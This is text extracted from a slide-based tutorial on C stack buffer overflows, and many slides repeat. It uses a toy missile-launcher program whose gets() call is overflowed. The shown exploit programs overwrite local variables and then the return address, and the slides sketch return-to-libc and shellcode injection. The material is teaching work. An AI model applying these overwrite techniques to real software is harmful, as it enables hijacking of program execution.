0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
Because 0x6f6d7265 = 18694436850xbffffa40
0xbffffa6c
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
0xbffffa40
0xbffffa6c
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
0xbffffa40
0xbffffa6c
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
But can you explain why we got both
"Access granted" and "Access denied"?
0xbffffa40
0xbffffa6c
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
But can you explain why we got both
"Access granted" and "Access denied"?
The observed phenomenon can actually
be explained if you know how my compiler
works with bool values.
0xbffffa40
0xbffffa6c
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
But can you explain why we got both
"Access granted" and "Access denied"?
The observed phenomenon can actually
be explained if you know how my compiler
works with bool values.
0xbffffa40
0xbffffa6c
int n_missiles = 2;
bool allowaccess = false;
char response[8];
...
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
But can you explain why we got both
"Access granted" and "Access denied"?
The observed phenomenon can actually
be explained if you know how my compiler
works with bool values.
0xbffffa40
0xbffffa6c
int n_missiles = 2;
bool allowaccess = false;
char response[8];
...
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x67 0x6c 0x6f 0x62
0x61 0x6c 0x74 0x68
0x65 0x72 0x6d 0x6f
0x6e 0x75 0x63 0x6c
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
$ ./launch
WarGames MissileLauncher v0.1
Secret: globalthermonuclearwar
Access granted
Launching 1869443685 missiles
Access denied
Operation complete
$
But can you explain why we got both
"Access granted" and "Access denied"?
The observed phenomenon can actually
be explained if you know how my compiler
works with bool values.
My compiler assumes that bool values are always
stored as either 0x00 or 0x01. In this case we have
messed up the internal representation, so
allowaccess is now neither true or false.The
machine code generated for this program first evaluated
allowaccess to be not false and therefore granted
access, then it evaluated allowaccess to be not
true and access was denied (*).
(*) see http://www.pvv.org/~oma/UnspecifiedAndUndefined_ACCU_Apr2013.pdf for detailed explanation of this phenomenon
0xbffffa40
0xbffffa6c
int n_missiles = 2;
bool allowaccess = false;
char response[8];
...
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
int n_missiles = 2;
bool allowaccess = false;
char response[8];
...
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
int n_missiles = 2;
char allowaccess = 0x00;
char response[8];
...
if (allowaccess != 0x00) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (allowaccess != 0x01)
puts("Access denied");
pseudo assemblerC code
Aside: why did we get both access granted
and access denied?
gcc
int n_missiles = 2;
bool allowaccess = false;
char response[8];
...
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
int n_missiles = 2;
char allowaccess = 0x00;
char response[8];
...
if (allowaccess != 0x00) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (allowaccess != 0x01)
puts("Access denied");
pseudo assemblerC code
Aside: why did we get both access granted
and access denied?
gcc
(somehow allowaccess becomes 0x6c)
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
launch.c
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
$ printf "12345678x2a000xxx1" | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 42 missiles
Operation complete
$
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
launch.c
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
$ printf "12345678x2a000xxx1" | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 42 missiles
Operation complete
$
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
launch.c
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
response
$ printf "12345678x2a000xxx1" | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 42 missiles
Operation complete
$
n_missiles allowaccess
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
launch.c
return address, next intruction in _start
pointer to stack frame for _start
high address
low address
return address, next intruction in _main
pointer to stack frame for _main
pointer to the response buffer
return address, authenticate_and_launch()
(whatever gets() needs to do)
allowaccess (1 byte)
n_missiles (4 bytes)
response (8 bytes)
response
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
launch.c
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
launch.c
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 42;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
exploit.c
$ ./exploit | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 42 missiles
Operation complete
$
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
launch.c
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 42;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
exploit.c
$ ./exploit | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 42 missiles
Operation complete
$
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x2a 0x00 0x00 0x00
0x00 0x00 0x00 0x01
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
launch.c
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 42;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
exploit.c
$ ./exploit | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 42 missiles
Operation complete
$
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x2a 0x00 0x00 0x00
0x00 0x00 0x00 0x01
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
launch.c
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 42;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
exploit.c
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 42;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x2a 0x00 0x00 0x00
0x00 0x00 0x00 0x01
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 42;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x2a 0x00 0x00 0x00
0x00 0x00 0x00 0x01
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
But hey! Why stop with the stack
variables, can we have fun with the return
address as well?
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 42;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x2a 0x00 0x00 0x00
0x00 0x00 0x00 0x01
0x65 0x61 0x72 0x77
0x61 0x72 0x00 0x00
0x88 0xfa 0xff 0xbf
0x5b 0x85 0x04 0x08
0xbffffa40
0xbffffa6c
But hey! Why stop with the stack
variables, can we have fun with the return
address as well?
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
uint8_t padding2[8];
void * saved_ebp;
void * return_address;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 3;
sf.saved_ebp = (void*)0xbffffa88;
sf.return_address = (void*)0x080484c8;
while (true) {
sf.n_missiles++;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
}
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
uint8_t padding2[8];
void * saved_ebp;
void * return_address;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 3;
sf.saved_ebp = (void*)0xbffffa88;
sf.return_address = (void*)0x080484c8;
while (true) {
sf.n_missiles++;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
} $ ./exploit | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 4 missiles
Secret: Access granted
Launching 5 missiles
Secret: Access granted
Launching 6 missiles
...
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
uint8_t padding2[8];
void * saved_ebp;
void * return_address;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 3;
sf.saved_ebp = (void*)0xbffffa88;
sf.return_address = (void*)0x080484c8;
while (true) {
sf.n_missiles++;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
} $ ./exploit | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 4 missiles
Secret: Access granted
Launching 5 missiles
Secret: Access granted
Launching 6 missiles
...
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x03 0x00 0x00 0x00
0x00 0x00 0x00 0x01
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0xc8 0x84 0x04 0x08
0xbffffa40
0xbffffa6c
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
uint8_t padding2[8];
void * saved_ebp;
void * return_address;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 3;
sf.saved_ebp = (void*)0xbffffa88;
sf.return_address = (void*)0x080484c8;
while (true) {
sf.n_missiles++;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
} $ ./exploit | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 4 missiles
Secret: Access granted
Launching 5 missiles
Secret: Access granted
Launching 6 missiles
...
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x03 0x00 0x00 0x00
0x00 0x00 0x00 0x01
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0xc8 0x84 0x04 0x08
0xbffffa40
0xbffffa6c
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
uint8_t padding2[8];
void * saved_ebp;
void * return_address;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 3;
sf.saved_ebp = (void*)0xbffffa88;
sf.return_address = (void*)0x080484c8;
while (true) {
sf.n_missiles++;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
} $ ./exploit | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 4 missiles
Secret: Access granted
Launching 5 missiles
Secret: Access granted
Launching 6 missiles
...
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x03 0x00 0x00 0x00
0x00 0x00 0x00 0x01
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0xc8 0x84 0x04 0x08
0xbffffa40
0xbffffa6c
int main(void)
{
struct {
uint8_t buffer[8];
int n_missiles;
uint8_t padding1[3];
bool allowaccess;
uint8_t padding2[8];
void * saved_ebp;
void * return_address;
} sf;
memset(&sf, 0, sizeof sf);
sf.allowaccess = true;
sf.n_missiles = 3;
sf.saved_ebp = (void*)0xbffffa88;
sf.return_address = (void*)0x080484c8;
while (true) {
sf.n_missiles++;
fwrite(&sf, sizeof sf, 1, stdout);
putchar('n');
}
} $ ./exploit | ./launch
WarGames MissileLauncher v0.1
Secret: Access granted
Launching 4 missiles
Secret: Access granted
Launching 5 missiles
Secret: Access granted
Launching 6 missiles
...
void launch_missiles(int n)
{
printf("Launching %d missilesn", n);
// TODO: implement this function
}
void authenticate_and_launch(void)
{
int n_missiles = 2;
bool allowaccess = false;
char response[8];
printf("Secret: ");
gets(response);
if (strcmp(response, "Joshua") == 0)
allowaccess = true;
if (allowaccess) {
puts("Access granted");
launch_missiles(n_missiles);
}
if (!allowaccess)
puts("Access denied");
}
int main(void)
{
puts("WarGames MissileLauncher v0.1");
authenticate_and_launch();
puts("Operation complete");
}
0x50 0xfa 0xff 0xbf
0x00 0x40 0xfc 0xb7
0x00 0x00 0x00 0x00
0x00 0x39 0xe1 0xb7
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x03 0x00 0x00 0x00
0x00 0x00 0x00 0x01
0x00 0x00 0x00 0x00
0x00 0x00 0x00 0x00
0x88 0xfa 0xff 0xbf
0xc8 0x84 0x04 0x08
0xbffffa40
0xbffffa6c
Overwriting the return-address is an example of arc injection, where we change
the execution flow of the program.This technique can also be used to jump into a
function in the standard library, for example, first push the address of a string, say
"cat /etc/password" and then jump to the system().Therefore this technique is
sometimes referred to as return to libc.
We are of course not limited to only push data on the stack,
let's try to put some executable code on the stack.
00000000 <hello>:
0: 55 push ebp
1: 89 e5 mov ebp,esp
3: 83 ec 28 sub esp,0x28
6: c7 45 eb 44 61 76 69 mov DWORD PTR [ebp-0x15],0x69766144
d: c7 45 ef 64 20 72 6f mov DWORD PTR [ebp-0x11],0x6f722064
14: c7 45 f3 63 6b 73 21 mov DWORD PTR [ebp-0xd],0x21736b63
1b: c6 45 f7 00 mov BYTE PTR [ebp-0x9],0x0
1f: 8d 45 eb lea eax,[ebp-0x15]
22: 89 04 24 mov DWORD PTR [esp],eax
25: e8 fc ff ff ff call 26 <hello+0x26>
2a: c9 leave
2b: c3 ret
We are of course not limited to only push data on the stack,
let's try to put some executable code on the stack.
Let a compiler generate the values to write on the stack.
